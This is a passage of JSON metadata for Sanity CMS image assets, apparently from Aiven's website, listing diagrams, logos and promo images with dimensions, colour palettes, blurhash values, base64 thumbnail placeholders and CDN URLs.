DGisSnfMGhYhKSbN5whWGYmW3bgjEWhpwfpHNT17qbwQrWrl5PfTLoeZ5uWZZl27ZDCJlnjD3HGFvVFYyjaCCMYtbCkfhCZ+mMgTPDNNM8h4SQgFE6RNXWRuNWsJy0pn/CfP+3jLEXKaV9lNI9jLFnKaVbCCH5K3sFQsig63kB8nyheEyYmObfR/i+n185isJwyCfkZ3kObaguJxivYoyt5ZyvC3iwjlJ6ieu6KxFCS4DjOJcZhtGvqqphmiYlhBA/7wghnHOaJIkVx/HfCSGFvPTWAgC+LcH/DbBte61lWY9ACF+zbbvf9/19lNJ9ueWc90dR9JcwDLe7rvtdLf9/gGEYyzHGF2OM1xNCfkop3cAY25BbSmk+z9cvNk1z+dlDlUoFSJIEOp0OkGW5O56fnwf1eh18A0ItHnEnOpeUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32355e","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#701888","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#657098","foreground":"#fff","population":0.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9b9dc1","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6be3fb","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657098","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14ace6","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-aiven-solution-with-ai.png","path":"images/sczeoy4w/production/93e5885d06f0ee85d4ddff32a2ff0990ac5f153b-1096x1146.png","sha1hash":"93e5885d06f0ee85d4ddff32a2ff0990ac5f153b","size":34077,"uploadId":"39cJeLvIfIIgSemCgkFpUx80EjomzAWs","url":"https://cdn.sanity.io/images/sczeoy4w/production/93e5885d06f0ee85d4ddff32a2ff0990ac5f153b-1096x1146.png"} {"_createdAt":"2024-02-07T14:09:05Z","_id":"image-77f7e2e862111f937ee02091bb61cd6babef004f-638x551-png","_rev":"aqN8LslQ3cZYmtCXIrWM3k","_type":"sanity.imageAsset","_updatedAt":"2024-02-07T14:09:05Z","assetId":"77f7e2e862111f937ee02091bb61cd6babef004f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e5Rysh^-Dk%4%M009FM_t7IU00M|NHR+M{00xGxbr=oz00tSkVNLsp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1578947368421053,"height":551,"width":638},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAACxUlEQVQ4jX2T2W4cRRhG50HhAbBjE3HHMyAgl1zBG8A1EjdIiNhZ7CiyZ0SQIIZ4ppfqpbaurXsO6mrL2IakpaPeqk/9Vf/Xq0+Pv+XxZ99x/PgbDo+ecHD45Q1fcfBo4fDoax59gKPjJ3xy8AUfffw5q6c/veCXn1/x69NLTp+tMyeny/Wz55vMi5e/cXb+5n95efaG81e/c3Jywfc//MiqLWpE3dJ1EqUNw+AIIRJjuiWNI+M4vYeRab/HWMvles2qKAXbXcWuqBBNyzAMy6BpumW/37+XaZqYj/m7zWbDqml6atHQNC1KabwPS1Up3YofSnh4zyx0i9C5kCU+LKKFeE94l/GGu8/+rXDNKsaRmEZ6G6h7Syc1Uiuss4QUiGPMZ588xntqNSB6g9QaM1hc9IzTiDWK9cXrRRjiyK6z/LHr2JY1hSiplUB7nUUuOmywdNbytpJcFS1lLah7QTd0uOQwqmf9+nwRpnHC+og0Dm0symq0N1mUxrnLKVfqY0RaT69sToSyCuV0XoExms3lxSK83fgHe5PZL+/mcwoB12tMp1BK0StJryU+hhyb3JR7wg9EY67QWYPeCbptTV0Ldk1J2VUYbzHGsJ5zOAtzQF0kGId3Hudn5oAHYkp56cpr7CBxUqBbQdu1eQ+FFFg/ZOFmfVNhColhJ5F/VjSloGprqq6m0z3WW6SXNEOLcYJo32L7vxBNTTmP62uMs+hZuLkjdEKjrls6scw8d1lamaszweRuGtcS7DtMv6VpRZ60lnWeNDclLzndhDeNjDd/SEiRMMbc3TnEcUwMyaGcpeolVdPRdD2ib2lUyxB8bso6/yk+5WDP0Zn3chpH9mO6xzSTAmrOYdFydV1RFAW76pqi2WIGiVFyiY1oLF3v6HuHkhavJJNu2evmP8S5IaJElVtU+TeyukKKK3xfYKp3bM5O+QfzcPmQ/LOlRQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4247","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1655","foreground":"#fff","population":4.41,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1655","foreground":"#fff","population":4.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aaa4d2","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ab3e3","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36761","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9c740","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image.png","path":"images/sczeoy4w/production/77f7e2e862111f937ee02091bb61cd6babef004f-638x551.png","sha1hash":"77f7e2e862111f937ee02091bb61cd6babef004f","size":91436,"uploadId":"vbJGCQS5ZjVh4K89thHQACkCfHoPts2E","url":"https://cdn.sanity.io/images/sczeoy4w/production/77f7e2e862111f937ee02091bb61cd6babef004f-638x551.png"} {"_createdAt":"2024-02-16T13:48:03Z","_id":"image-bb5ee8fc14fe877b037df79c23c9a5ec66031b81-2528x1440-png","_rev":"7MT6syZ9CYN9k42dv6LyVx","_type":"sanity.imageAsset","_updatedAt":"2024-02-16T13:48:03Z","assetId":"bb5ee8fc14fe877b037df79c23c9a5ec66031b81","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCRp2vxvyYxush#SfRJTayt8_Max$%ofWY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7555555555555555,"height":1440,"width":2528},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACBUlEQVQokVWSW08bMRCF9///jqoqfUFVRMUlkHJJSYEATYGQkAvZm722116v92bv2NumoEqVvofRzDk6D2e8rusArNbQbGkb0zbaNLqtG/hLW+u3zRtto0EbsNZ2Xec55xoNUkEqIRUNZ5JTQRMR+cxfYX+F4zBlJOOUcyp4WvLMyKLVBpxzXlnpIEyfl+kqrNAmTX+O+fU5uRkFpyfr/d56vxdenLLxD3F1ym8uyHy9CfLZkr8GTOalF6O0P7j78nV890iSNVbXJ+XZbnXdV5d7+cmOHHxWowN51c/OdrOLHps+PU3x3uFk/2j8sog8QsX30eT42+3jnBKs5GatltMa+RV+Lfy58hcKBSzYRIsZWr6QmC1W6fnwcXg58YPEK6sKoSSMSExqyk2WFZILlauM8ywMM5xImQvJSUoQ4QmrIlxuAoxwUpSVp7WWUomsJtxSDkLWWVaIrMQxjWZLtAoYEyrnUjDKcsIaxDRhKleFMa0HAKrQlLcxdTFzCQcq2jipbu83B4e3h0f3k4cgoQUTGrMWMRtRm6RGlRrAeta6sgYqADOHmMOpo8LGWA0vpx93Bh8+HQ9HT4gUVNi3K2KOcihrsNZte9bGFhXkxTtFBUrVMaLPs/Wvh3kQIFXU/wlK0MZue+66zjkH1gG8Y7cztC1oreu6NsYAbHP+CWBrdH8+7DcirV0WN7bTvQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373e5c","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#111648","foreground":"#fff","population":1.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7530a","foreground":"#fff","population":2.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7bccc","foreground":"#000","population":0.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94d4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e8ca9","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7530a","foreground":"#fff","population":2.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-platform-diagram-v3.png","path":"images/sczeoy4w/production/bb5ee8fc14fe877b037df79c23c9a5ec66031b81-2528x1440.png","sha1hash":"bb5ee8fc14fe877b037df79c23c9a5ec66031b81","size":70358,"uploadId":"G3kvd8hhXYNzxvB1RsiQEW48Lut1Z5od","url":"https://cdn.sanity.io/images/sczeoy4w/production/bb5ee8fc14fe877b037df79c23c9a5ec66031b81-2528x1440.png"} {"_createdAt":"2024-02-06T00:25:54Z","_id":"image-ccbb60433f76aedf400d54b63786dc138a87b033-1200x628-png","_rev":"MkmgsAGxwT6Nx7jjOiit8j","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T00:25:54Z","assetId":"ccbb60433f76aedf400d54b63786dc138a87b033","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6TD[{qUK$xZR7}ZtPs7n6nP#kz;wIxso{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACT0lEQVQokUWSXU/TBxSH/6i02Gy+LJSXVgYWaBWx+DK00WWX+wILm2yKdFBrqa24gkEgzkHHOuwogxH3nXbr5W5MvDLeLYsug+cxUBMvTs7VefKcc34BY60yGZU7pyR7Um6GZSIk2TaZapNcSPNhKYSl2CazEVmMSi0pGyNSPyvrg7IxLFuXDLhxVAoJmb8oc2l5kJJKShaG5dGQPErp0hlZGpDFPnncL79ekJ0vZDsjtX75OS6107I+YMB4REr7Q9f08eeynJHlUXmSkZWMrGa0ekWWU/IwJotxWTsrm1fkt7SsdMtPUal2y0q7wd5Yq7uTUXfv9krxtJT6pPypzPbKgx6p9GglLuXjMtMq5ZAsfCLVPqkNyNp+T0itT1a7DP4fC/nqVsyX2YT/TnVLvlOKMSl2Sv5jyYU1d0RyLZIP5N4RWTjRBNbPSWNEfr8ojWFZ7zd4M37M53ev+tfsl74up6WckEpSKv1S7pLiSSlEpNAqM4flfliW3j+lcUEaadkcadbTpMF/30R8MT3k36WM/8wMSiEm905JKS6lLrnfIT9EZb5d5k7I/HH5MSZPh5pm9TMHoAPDxnDzhm8nu3xzp9fd6U7JHpPbbZINy/chyR+Vh52yOiCrCXnSI9WEbKRl67LUU7KebMJ3rhrsfR1yL9shubhMd8hERL5rkZuBTAQydUjm2qU2JPW0rA021928JH+MNvPXOH8A49l1g72vWtyHciMs4yEZPyTfBh+A2RYpfyTVQamfb9r9kpStz2QnI9uXZXtUnl2TP6/7DkB+AG+xBoimAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2b27","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e02c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964602","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc943c","foreground":"#000","population":6.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36d4c","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Making real time decisions with data.png","path":"images/sczeoy4w/production/ccbb60433f76aedf400d54b63786dc138a87b033-1200x628.png","sha1hash":"ccbb60433f76aedf400d54b63786dc138a87b033","size":197687,"uploadId":"0Jy8agnk8QKep5eQKHxNkDB5GKJ9vmku","url":"https://cdn.sanity.io/images/sczeoy4w/production/ccbb60433f76aedf400d54b63786dc138a87b033-1200x628.png"} {"_createdAt":"2024-08-08T11:59:06Z","_id":"image-60b1892c9425e91e0caa326a414ff40d135da421-1200x630-png","_rev":"msvVOwV0ly404Y5JqAbGXA","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T11:59:06Z","assetId":"60b1892c9425e91e0caa326a414ff40d135da421","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57UMz~Inz-n$zT3ozR$E3R:4.IpW9IrRi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACoElEQVQokUWTWU8bBxSF5xe0EmY89myMZ/M2XgI2DqZpgUQRTiOlQRTTKCKNSAmGGgbw7ngZLJxGSFH+8Vd5EomHqyudh09H954j/BTdZ0k+QNTeEDOOiBnvEfVjlrV/EPUGUeMCKXFFzGoj230UdxSObA++jzMkbveImS0k8xohotSxs8cUK01Wqz6F9SuShUvc/BVuoYWd6+AWh2RKU5LFAD09QXFGxO0+cav7ALW6SGYLIar9RWnzktqrMS/+CNipjdnYHvLb84Dt2pxfnt7x6/Mv7Pz+lcrWPVbuFtn5FAJiVieEq8kAxR2HuiCqhw/A1wFPng3JlW/wSm2Kjwfk1j+Rr0woVmdkSzOMzCR0FTPbxK0eavIWLT1HS83R0/8hROQ66UenbGy1qG53KVSu0dwGknFK3PwX2fKR7Rtku/PjbsMQFjX8cMs/HGqpO1Yy9wiLh6TzH6hUL/BWz0mkT1GdBqpzjub66Mkb9FQHM9vF8Xok0j0U+4a46aPYLVS3h+IOUNwJemqOoJhvOdzr0T6dU6v1SBWbJIuXZEttcuU+2bUhXnnEbm3Ku/qE3d2A/PqITKhPyJZnOIUpK5kxemaGYDhHnP895evwG4cHU3Jln8zqFYX1DoXKAK+0uOmA+n7AqPmZozdfeLw1Y20zYHVzzqPNe7Llz1j5BXSEEFMPeLpxwp8vW2w88TFSH5HNExT7DNW5QHX8cBfXfJ7tdKlUhzj5HpbXx/QmWLk7EtlbtGQf2W4jRKKvcfR9vPQ7HO+EuHnMkvKeJeUDy1oDcaWJqJ8j6h+RjDNiiUukxOIhrTAmqhuEOVxkcFEA4Wdxj4i0R1SpI+pviahHIXBZfWhK1GiyrDcQ9TMkw0dKXH/PoDtGdadhUxYtWej/A+3Dhelqp1ckAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252752","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c6d2","foreground":"#000","population":6.61,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7881c1","foreground":"#fff","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646c9d","foreground":"#fff","population":2.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event promo template with two speakers Dark blue (1).png","path":"images/sczeoy4w/production/60b1892c9425e91e0caa326a414ff40d135da421-1200x630.png","sha1hash":"60b1892c9425e91e0caa326a414ff40d135da421","size":211660,"uploadId":"6GbUmpiBT3b0UldYXA4BR61u6SirCiQ5","url":"https://cdn.sanity.io/images/sczeoy4w/production/60b1892c9425e91e0caa326a414ff40d135da421-1200x630.png"} {"_createdAt":"2024-08-06T08:08:45Z","_id":"image-b419b65d08e2aa4170dd1f52d99c46b16ada1f6f-2302x808-png","_rev":"9UINTEl5Nh5uQ7g7zwQLoe","_type":"sanity.imageAsset","_updatedAt":"2024-08-06T08:08:45Z","assetId":"b419b65d08e2aa4170dd1f52d99c46b16ada1f6f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DPG@=O}sd;}XD4$+soS2jFr?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.849009900990099,"height":808,"width":2302},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAACNUlEQVQokVWRW0xScRzHf+fC4UCCkldijUwEN9JqGeviS2z5kjdq5tbqwTZgrZcWvHR7cFGueFLpti5qk3rJtZm2cs0na7W5gcZWDU0UDiD/g+ccnETL+Deyl75P332evvt+IG8DwMeB+NEEgDGGGyEM/QsYEhgDfnQL3ls0xMyRPcoHhxrL2nY3lCh1VQwAkABAVZy5wpa7HxepOt2bjCAIwCdIOt8ObHbcpxbTvD4tZetXpaxZkta0ST4tu9ZYQ040mRTPutpLx0f8+vDc110ovGz+Hgxudz59o9//cLquvvdFWWXpVpqWsyTgTpl8oxWKc59emTOi6EJizs9LuaFMZt0eiST1nt5R5ZDVrgp4BnUovGQTl1M+KbLyRIxGnf6pd4c7hl8esN4c0Bt3VrNF6mIa8EmG3WgFzc/A5ME1QRhEwjrHi9lIRlrr+/Ituq/HO1He3+yu+HB12MzPRy8KCRQQYqlFKR4fmJqeaO6+d9ty7LJLX1drUKhLSujCQibfBursxzGTmEbnEC/c59PCHUEQu2dDC9VOl09lt3Spn1/q03HzkZY04r2riL8rJGL2t69H957quW60Os5XGg01bJFKRRc+pPIdwGTGfFtQgtOmUslalFoxIJSqDM6FmG07jCTBsNRZh4MJzs6WRrmYgYtzpsjnGd2I16NpOX1BVX+0S6HVVskYhqEA2wAKpn/DpmX8axEw5v72ySUMhdAAJAlAFcz+M0zKAagGBdBa6j9O/AEObP1g2sUEwgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64483c","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#722c17","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#722c17","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcdcb4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38bc4","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ea062","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10a2c9","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-summary-diagram_no_bg.png","path":"images/sczeoy4w/production/b419b65d08e2aa4170dd1f52d99c46b16ada1f6f-2302x808.png","sha1hash":"b419b65d08e2aa4170dd1f52d99c46b16ada1f6f","size":112608,"uploadId":"8HLCGulpfxQwByBE3XTenIvMM0wOGX0a","url":"https://cdn.sanity.io/images/sczeoy4w/production/b419b65d08e2aa4170dd1f52d99c46b16ada1f6f-2302x808.png"} {"_createdAt":"2024-08-02T08:17:46Z","_id":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_rev":"YaKEzcVhnb7P0fmfvFVQvz","_type":"sanity.imageAsset","_updatedAt":"2024-08-02T08:17:46Z","assetId":"85dd452da136a8d9c34d5d317508de811aa34662","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eTC~jNf94mj]%C%QfQRifQRj9Ej?%UaxM_IXj@tJayt5M^azt0j[fh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE0UlEQVQ4jX2OXUyTZxiG3x7IKbZQRbRTGLGKgIXSv69l0GoNClYmris/Ulsopc7optmyJWbLpM6jmR0sy053sEST4dF0IghMUSllxUoVWpGfQhEZtS30h0p5n+X5rMmOPLiS+3ve+7rzkTZplJilK6R5/yJpVyQ4VibJ61Am1R2qN3abar3fploP2FTriTSY+zqUb+wdyjcaK5PMsjJrHP2+GWKWrBCzLEqISbpCzorXSassmtEmjwktiritnUl0WZk1n5VZC1uZZNLKJDfSJK3MWgjf2pnEDYsiftoijwnR/bw0SczSCCFGcZCYJZEMs3RF1CpbtbfJo26LPBazKGLwXuSxGHZbZauX0TVJIhnGsiAhJ0uDnFPlIaFJErabJJHnJkkkZSqPwKnyCH0f2GG7EnTCl3EDt0hz6b+8lrJlW4s46DaKg6lWxWt65mCIflETpudrwnC+NkwvpMGMN3zDDnaN4mAKXdxoLl3ikUbRoqa59FVXk+hVrKV8Cb7+5DX9/ccovXMtAT3XE7TnWgIws9/pG2bsYLelfAnQxY1G0aKaGErm7Q37Az5DyQKcFC/QKx1BOtwbh5ez63Rxbh2WX6ZgJbTBghlv+ObojQN2T4oXKLoN+wNeQ0mgk+iLZvv1Rf6wvsgPhhI/PXtkAX65uEyv/xyCP34Nw/0/o7D8EofX2Yw3fMMOdg0lfoquvsgf0hfN9pH6vVOB+sKpZP3eKdAXT9MW2QxtrZgFxFI1C1fPv4KJ0QTLT18uwbnaOThXOw/taj9gV188TdFNb8yTOqEvUSf0bdQJfdBQOkk7Dk5Tk2oKDKJJ+FQ0CZfaAvDUGQfPcByufLYAF4774ZuGOThzeAasB6ZpQ9kkRTe9ESdHC8YTuoLxjaMF43CiaIKeUj6nLXIfNJV7oVHshUsWP3icMfAMx+CH03NwtnYKLhyfBot6EoyMj6KDLm7oCp7FSU3eWKAmfyxZkzcGut0eeqL4KTWUPQNTxQQYlRPwfdsMjDmiLJcsM9Ba6QWL2gsN4meAXd1uD0U3vTFPqneO9lXvHA1V7xyFmvzH9NgeN9QXP6HNMg80Sj3wrfkFPBlahSeOVfjO/AIaJR5oknrg+D431e12w5H8xxTd9EYf0QpG7FqB06fd4YTqXSNUJ3RR3R4X1BW6aF2hCy4afTDmWGHB/PE+Fxzb66KH80bg0AdOekjgpFqBE7QCp1crGOkkB7Y71Ae2D3Vpch/FtIIhOFIwTA9/6EDY/FXDOPxzL8yCmX3Pd8BBwRDV5D5CQJM7FNPkDnXhFlFve8irynlgq8wZdFdtG0ypcwfpOzTbB8GkdtHfrs6yYMYbvlVtG6SVOSypKnRzHthwi1RtHeR8tPWesGLL3/aKLQPPVfyBlIo/ACr+AEUO5d2nTYyDBfO7e7qTQgdd3Kjc+pBDKrgDRMXvz1Dy+0TK7Lt2JvvuYyarN8Zk9cI7lNlv+f/tbeeuGx10VfyBDNWOB4Qo+f2kMOMaYbJ6Nil4PUI5745Nzu3uknG7vTJud0jGvZ2UcW9vpMEcwjfsYBcdJqt3U86WbvwxQpisXjZoBY+IlHuHI918myfd/JdaknmrU5J5q0+SeXNeknkznmb+7e1WJ3bYLrebo9k1SpT8AaLI7iX/AZvKiT7dMjnXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342c42","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2404ac","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#562af1","foreground":"#fff","population":6.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1a0494","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a494fc","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c5cad","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#562af1","foreground":"#fff","population":6.64,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-thanos.svg","path":"images/sczeoy4w/production/85dd452da136a8d9c34d5d317508de811aa34662-48x48.svg","sha1hash":"85dd452da136a8d9c34d5d317508de811aa34662","size":2292,"uploadId":"pKc9p0zwYoP49fWvy8oUrPAK3kPHkYNY","url":"https://cdn.sanity.io/images/sczeoy4w/production/85dd452da136a8d9c34d5d317508de811aa34662-48x48.svg"} {"_createdAt":"2023-12-27T10:12:11Z","_id":"image-74b62e0b48e1ed43f8b968c69e66f37e8dbba93e-991x413-png","_rev":"sg5cBJWkRHo7pkcz4XhgMx","_type":"sanity.imageAsset","_updatedAt":"2023-12-27T10:12:11Z","assetId":"74b62e0b48e1ed43f8b968c69e66f37e8dbba93e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M~N?$dj;adjrf6}7o#kDjbf6NeWUWUj?j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3995157384987893,"height":413,"width":991},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABcSAAAXEgFnn9JSAAACOklEQVQokU3PT0iTcRgH8Mecgh3qlNrMojAt0P7oYa3LWyk0/yxf5979ceo2tznSmpqFeSgqUrCrBBGEGVHBtqBbdpiZc8IyI95Dly7RIdRFBEW9+v6eb2wj6PDh+/zhOTzEtoIt9uzQeeSowFWz4P5KwUqRYMUg2FUi2FEs2G74T2FuD3thnlKkQynehGL4hM6Ch4Ts8ehxwTOXBKK3BU91CA7vE3yhhnnMxDxan3e5gTlymLmvnNm3izlYwTxQxTxcxzxyRHCo8hcrhs/Eru3fMGndwqv74FQUmL0CjJmA62eAKRsw0ZbPOzbgmgQMVAH9e4GhWmDcDNxoyrt4CKwUgeAqeYTxkx942r+Ge+F1nrSu82D1uhisyeiR2oz+L4fqMnr4QEb3luYF92T08P6Mfv5gjvCVbcC+bS37sgn+0hAHK24iYJxgf9nEhrNi+l1Hw4t5WXqTaJeSCVlaTMinFhPtUl62zpFy/bwsLabkE3Mf5eonBJkM3Eo7RTOVw0K7f7eR8ZZltNHTOvOgV4m+D3meq4GuuOp1RFWvI6b2ueNqyBNX/a6Y2mOPql5nTPU5Y2q37dmSq2X2McFChHoiGIlQRgQiqm1aOibJyadKMP0jMLy66Yus/nGE0poSTGs9gytaYHhV6x5Y0eyBtObsf6tld83u1E9zy8JXgo2IbURfZCO9PNdYgFkiU9NctWR9fdfalfyu9C2j07eMVncSLa4kOnpTyM6y2eZOwupZys1PywswnU3gL2ccbOUuEPN8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#070405","foreground":"#fff","population":19.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":20.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c91c0","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea8e59","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6672bd","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":20.64,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-aiven-live-nyc.png","path":"images/sczeoy4w/production/74b62e0b48e1ed43f8b968c69e66f37e8dbba93e-991x413.png","sha1hash":"74b62e0b48e1ed43f8b968c69e66f37e8dbba93e","size":55510,"uploadId":"s3yaV6pq8tbiv3VeXqLZ9yvAcSRfC2Wc","url":"https://cdn.sanity.io/images/sczeoy4w/production/74b62e0b48e1ed43f8b968c69e66f37e8dbba93e-991x413.png"} 